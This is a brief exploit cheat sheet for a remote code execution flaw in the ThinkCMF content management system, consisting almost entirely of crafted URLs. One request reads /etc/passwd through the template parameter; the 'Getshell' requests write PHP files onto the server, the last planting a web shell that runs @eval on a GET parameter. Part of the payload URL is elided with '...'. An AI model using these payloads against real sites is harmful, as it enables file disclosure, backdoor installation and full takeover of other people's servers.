ThinkCMF RCE

http://127.0.0.1/?a=display&templateFile=/etc/passwd

Getshell

http://127.0.0.1/?a=fetch&tem%20...%20%27%27&content=%3Cphp%3Efile_put_contents(%27111.php%27,%27%3C?php%20phpinfo();%20?%3E%27)%3C/php%3E

?a=fetch&tem ... ''&content=<php>file_put_contents('13123.php','<?php
echo md5("ThinkCMF");
@eval($_GET[1]);
phpinfo();
?>')</php>